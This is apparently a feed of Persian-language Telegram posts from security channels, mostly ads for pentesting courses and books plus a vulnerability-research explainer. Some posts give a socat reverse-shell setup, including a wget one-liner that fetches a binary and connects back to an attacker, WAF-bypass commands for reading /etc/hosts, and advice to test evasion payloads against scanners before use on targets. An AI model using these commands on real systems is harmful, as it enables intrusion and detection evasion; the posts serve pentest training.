P.F.K Security

درود دوستان وب‌سایت آماده شده و در حال حاضر تنها به چند اصلاح جزئی نیاز دارد. از دوستانی که به زبان TypeScript تسلط دارند و تمایل دارند به‌صورت داوطلبانه در تکمیل و بهبود وب‌سایت مشارکت کنند، دعوت میکنیم برای هماهنگی و دریافت جزئیات بیشتر به آیدی زیر پیام بدهند: @ThbxSupport از همراهی و مشارکت شما در توسعه این مجموعه سپاسگزاریم.

📌 برگزاری جلسه ویس چت :  با درود خدمت دوستان و همراهان عزیز،  در راستای ارتقای سطح دانش فنی و آشنایی بیشتر با مباحث امنیت سایبری، قصد داریم جلسه‌ای تخصصی و آموزشی در خصوص Defensive Security به صورت ویس چت برگزار کنیم. 🎙 مهمان برنامه 👤 مهندس : آرش نریمان پور 📅 زمان برگزاری: امشب 📍 پلتفرم: گوگل میت 🕗 ساعت : 20:00 🔖  لینک جلسه : meet.google.com/nhr-vtgc-uwn ⁉️ موضوع جلسه : 📌 تحلیل و شکار تهدیدات در محیط Windows و Active Directory با استفاده از Sysmon، Windows Event Logs و Splunk 🔔 نکته مهم:  جهت شرکت به موقع جلسه، حتماً کانال تلگرام را چک کنید تا از این جلسه جا نمونید . ➖➖➖➖➖➖➖➖➖➖➖➖➖➖ 🆔 @RadioZeroPod 🆔 @TryHackBox

📌 Python For Pentesters ⭕ معرفی دوره: در طول دوره، مفاهیم برنامه‌ نویسی را در قالب تمرین‌ ها و پروژه‌ های مرتبط با امنیت سایبری به کار میگیرید. به‌جای یادگیری صرف Socket Programming، با ایجاد ارتباط TCP، دریافت اطلاعات سرویس‌ های شبکه و توسعه ابزار Service Discovery آشنا میشوید. هدف دوره، آموزش Python به‌عنوان ابزاری کاربردی برای متخصصان امنیت است؛ تا بتوانید اسکریپت اختصاصی بنویسید، خروجی ابزارها را پردازش کنید و قابلیت‌های امنیتی را در قالب برنامه‌ای ساختاریافته ترکیب کنید. ⭕ توضیحات کامل ⭕ مشاهده سرفصل‌ ها ◽ مدرس: محمد امین طالبی ◽ نحوه برگزاری: آفلاین ▫️ مدت : 30 ساعت ⚠️ دوره در حال تکمیل است و ویدئوها به‌صورت مرحله‌ای منتشر می‌شوند. دانشجویان به‌تدریج به محتوای جدید دسترسی خواهند داشت. 💰 قیمت اصلی: ۳,۴۹۰,۰۰۰ تومان 🔥 قیمت ویژه عرضه اولیه: ۲,۹۹۰,۰۰۰ تومان ▫️برای ۵ نفر اول  : ۲,۴۹۰,۰۰۰ تومان خریداران عرضه اولیه با همین مبلغ به محتوای کامل دوره دسترسی خواهند داشت و پس از تکمیل دوره نیازی به پرداخت مابه‌التفاوت ندارند. 📌 جهت خرید،به ایدی زیر پیام دهید: @ThbxSupport @TryHackBox

📌 برگزاری جلسه ویس چت :  با درود خدمت دوستان و همراهان عزیز،  در راستای ارتقای سطح دانش فنی و آشنایی بیشتر با مباحث امنیت سایبری، قصد داریم جلسه‌ای تخصصی و آموزشی در خصوص Offensive Security به صورت ویس چت برگزار کنیم. 🎙 مهمان برنامه 👤 مهندس : میثم منصف 📅 زمان برگزاری: امشب 📍 پلتفرم: گوگل میت 🕗 ساعت : 21:00 🔖  لینک جلسه : http://meet.google.com/vdx-odgs-bbj ⁉️ موضوع جلسه : 📌 متدولوژی حرفه‌ای Web Pentesting 🔔 نکته مهم:  جهت شرکت به موقع جلسه، حتماً کانال تلگرام را چک کنید تا از این جلسه جا نمونید . ➖➖➖➖➖➖➖➖➖➖➖➖➖➖ 🆔 @RadioZeroPod 🆔 @TryHackBox

📌 سه مسیر برای پیدا کردن Vulnerability وقتی یک نرم‌افزار رو برای کشف Vulnerability بررسی میکنی، فقط یک راه برای تحقیق نداری. در Vulnerability Research سه حوزه اصلی وجود داره که هرکدوم از زاویه متفاوتی به نرم‌افزار نگاه میکنن: 1. Code Review

اینجا با سورس‌ کد سروکار داری. کد رو دنبال میکنی تا بفهمی داده‌ ها از کجا وارد برنامه میشن، چطور پردازش میشن و در چه شرایطی ممکنه یک ضعف امنیتی ایجاد بشه. مثلاً ممکنه یک ورودی بدون اعتبارسنجی مناسب به یک تابع حساس برسه. هدف فقط پیدا کردن کد مشکوک نیست؛ باید بفهمی این مسیر واقعاً چه پیامدی داره.

2. Reverse Engineering

همیشه سورس‌کد در دسترس نیست. گاهی فقط یک Binary داری و باید بفهمی نرم‌افزار در سطح پایین چطور کار میکنه. در Reverse Engineering ساختار برنامه، توابع، جریان اجرا و رفتار داخلی اون رو بررسی میکنی. این روش به‌خصوص زمانی اهمیت پیدا می‌کنه که با نرم‌افزارهای Closed-source یا Componentهایی مواجهی که کدشون منتشر نشده.

3. Fuzzing

در این روش، ورودی‌ های مختلف و گاهی غیرمنتظره به برنامه داده میشن تا رفتارهای غیرعادی مشخص بشن. به‌جای اینکه تمام حالت‌های ممکن رو دستی آزمایش کنی، فرآیند تست ورودی‌ ها رو تا حد زیادی خودکار میکنی. برای مثال، Fuzzer ممکنه ورودی‌ ای تولید کنه که باعث Crash، خطای حافظه یا رفتار غیرمنتظره برنامه بشه. البته هر Crash یک Vulnerability نیست. نتیجه باید بررسی و از نظر امنیتی اعتبارسنجی بشه. این سه حوزه جایگزین یکدیگر نیستند. ممکنه با Code Review یک مسیر مشکوک پیدا کنی، با Fuzzing اون رو آزمایش کنی و برای تحلیل دقیق‌تر رفتار Binary سراغ Reverse Engineering بری.

یک Researcher خوب فقط ابزارهای این حوزه‌ها رو نمیشناسه؛ میدونه چه زمانی باید از هرکدوم استفاده کنه. #از_روز_صفر_تا_زیرو_دی #VulnerabilityResearch #CodeReview #ReverseEngineering #Fuzzing #ZeroDay @PfkSecurity

پیش از اجرای پیلودهای Evasion روی سیستم تارگت، همیشه آن‌ها را در وب‌سایت‌های زیر آزمایش کنید:

https://antiscan.me/ https://metadefender.opswat.com/

منابع مفید برای مطالعه تکنیک‌های AV/EDR Bypassing:

https://github.com/CMEPW/BypassAV https://github.com/tkmru/awesome-edr-bypass https://github.com/MrEmpy/Awesome-AV-EDR-XDR-Bypass https://github.com/NUL0x4C/AtomPePacker

@PfkSecurity

پیش از اجرای پیلودهای Evasion روی سیستم تارگت، همیشه آن‌ها را در وب‌سایت‌های زیر آزمایش کنید:

https://antiscan.me/ https://metadefender.opswat.com/

منابع مفید برای مطالعه تکنیک‌های AV/EDR Bypassing:

https://github.com/CMEPW/BypassAV https://github.com/tkmru/awesome-edr-bypass https://github.com/MrEmpy/Awesome-AV-EDR-XDR-Bypass https://github.com/NUL0x4C/AtomPePacker

@PfkSecurity

📚 مجموعه کتابهای کاربردی در دنیای امنیت 📖 کتابچه "Mimikatz: تسلط عملی بر تکنیک‌های پیشرفته حملات Active Directory" از مقدماتی تا پیشرفته. 📕 جزئیات بیشتر کتاب 💰 قیمت : ۲۵۰,۰۰۰ تومان 📖 وایرشارک برای ردتیمرها: از پایه تا پیشرفته 📕 جزئیات بیشتر کتاب 💰 قیمت : ۲۵۰,۰۰۰ تومان 📖 شکار عملی باگ بانتی : از Recon تا Bounty واقعی : متدولوژی و شناسایی و آسیب پذیری های دنیای واقعی 📕 جزئیات بیشتر کتاب 💰 قیمت : ۳۶۰,۰۰۰ تومان 📖 کتابچه Kerberos For Pentesters 📕 جزئیات بیشتر کتاب 💰 قیمت : ۲۶۹ تومان ممکنه در آینده قیمت کتاب‌ ها تغییر کنه و افزایش داشته باشه بنابراین اگر قصد خرید دارید، قیمت فعلی فرصت خوبی برای تهیه کتاب‌ هاست. 📌 جهت خرید به ایدی زیر پیام دهید: @THBxSupport

📌 دوره: راهنمای جامع ابزار Mimikatz 💢اگر در حوزه Red Teaming یا Windows Penetration Testing فعالیت می‌کنید، Mimikatz ابزاری است که شناخت آن همچنان اهمیت دارد. قدیمی شدن یک ابزار لزوماً به معنای بی‌ استفاده شدن آن نیست. در عملیات واقعی، شناخت مکانیزم‌ های داخلی، درک تکنیک‌ ها و توانایی سفارشی‌ سازی ابزارها (Customization) اهمیت بیشتری از اجرای ساده نسخه پیش‌فرض آن‌ها دارد. فرصت یادگیری این مهارت را به تعویق نیندازید در دنیای Red Team، فاصله میان شناخت یک ابزار و توانایی استفاده مؤثر از آن، همان چیزی است که سطح تخصص شما را مشخص می‌ کند. 📌 توضیحات کامل ◽مدرس : مهندس سجاد تیموری ◽مدت زمان دوره : ۵ ساعت ۲۰ دقیقه ◻ دوره : آفلاین ⭕ دوره دارای گروه پشتیبانی می باشد. 💰 قیمت :     ۲,۰۰۰,۰۰۰  تومان 💰 با تخفیف ویژه : ۱,۲۵۰,۰۰۰ تومان 📌 جهت خرید،به ایدی زیر پیام دهید: @ThbxSupport Group @TryHackBox

🔥 سری Bash برای باگ هانترها قسمت ۲  دیگه مستقیم nc استفاده نکن و با commandهای زیر امتحان کن: 

rlwrap -cAr nc -lvnp <port>  
یا  
rlwrap -f. -r nc -lnvp <port>

حالا میتونی از arrow keys برای navigation history command استفاده کنی، اما هنوز full keyboard functionality نداری (مثل nano، CTRL shortcuts). برای full interactive keyboard controls، از socat interactive shell استفاده کن: در سمت attacker: 

socat file:tty,raw,echo=0 tcp-listen:<port>  

اگر error داد، امتحان کن: 

socat file:$(tty),raw,echo=0 tcp-listen:<port>

در سمت victim (برای full TTY reverse shell): 

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<ip>:<port>

اگر socat روی victim machine نصب نیست، از این one-liner برای دانلود static binary استفاده کن: 

wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<ip>:<port>

برای stop کردن socat: 

ps aux | grep socat  
Kill -9 socat <PID>

نکته: <port> رو با پورت دلخواهت جایگزین کن، <attacker_ip> رو با IP خودت، و <PID> رو با process ID.

کدوم command رو اول در listenerت تست میکنی یا منتظر قسمت بعدی هستی؟

@TryHackBox #باگ_بانتی

🔥 سری Bypass برای باگ هانترها قسمت ۲  Crazy WAF Bypass:  cat /etc/hosts - WAF رو trigger میکنه

xxd -p /etc/hosts | xxd -p -r  
xargs -d '\n' -I{} echo {} < /etc/hosts  
perl -pe '' /etc/hosts  
sed '' /etc/hosts  
awk '{print}' /etc/hosts  
dd if=/etc/hosts 2>/dev/null

کدوم پیلود از قسمت 2 (مثل xxd pipe یا awk print) رو برای WAF bypass تست کردی که file رو dump کرد و bounty شد؟ تجربت رو کامنت کن. کدوم یکی رو اول تست میکنی یا منتظر قسمت بعدی هستی؟

@TryHackBox #باگ_بانتی

⚡لیستی از ۱۰۰ آسیب‌ پذیری وب @TryHackBox #آسیب_پذیری

📚 مجموعه کتاب‌های کاربردی در دنیای امنیت سایبری به مناسبت بزرگداشت کوروش بزرگ، تمامی کتاب‌های مجموعه را با ۳۰٪ تخفیف ویژه تهیه کنید. 📖 Mimikatz: تسلط عملی بر تکنیک‌های پیشرفته حملات Active Directory از مقدماتی تا پیشرفته 💰 قیمت اصلی: ۲۵۰,۰۰۰ تومان 🔥 قیمت با تخفیف: ۱۷۵,۰۰۰ تومان 📖 Wireshark برای ردتیمرها: از پایه تا پیشرفته 💰 قیمت اصلی: ۲۵۰,۰۰۰ تومان 🔥 قیمت با تخفیف: ۱۷۵,۰۰۰ تومان 📖 شکار عملی باگ بانتی: از Recon تا Bounty واقعی متدولوژی، شناسایی و بررسی آسیب‌پذیری‌های دنیای واقعی 💰 قیمت اصلی: ۳۶۰,۰۰۰ تومان 🔥 قیمت با تخفیف: ۲۵۲,۰۰۰ تومان 📖 Kerberos For Pentesters 💰 قیمت اصلی: ۲۶۹,۰۰۰ تومان 🔥 قیمت با تخفیف: ۱۸۸,۳۰۰ تومان 📌 توجه: این تخفیف به مناسبت بزرگداشت کوروش بزرگ در نظر گرفته شده است. 📌 جهت خرید به ایدی زیر پیام دهید: @THBxSupport

۷ آبان، روز بزرگداشت کوروش بزرگ؛ بنیان‌ گذار شکوه شاهنشاهی ایران و نماد خرد، اقتدار و آزادگی. ما امروز، بیش از هر زمان، به یادآوری ریشه‌ هایمان، پاسداری از هویت ملی نیاز داریم. @pfksecurity

اینم کانال VIPپولی ما رایگان خدمت شما🔥

☑️☑️☑️☑️☑️☑️☑️☑️☑️☑️☑️ به مناسبت 2 ساله شدن عمر چنلمون چنل VIP رو که قیمت یک میلیون هست به 100 نفر اول رایگان میدیم و بعد از 100 نفر به طور خودکار لینک باطل میشه جوین بدین👇👇👇 ⚡️⚡️⚡️⚡️⚡️⚡️⚡️⚡️⚡️⚡️⚡️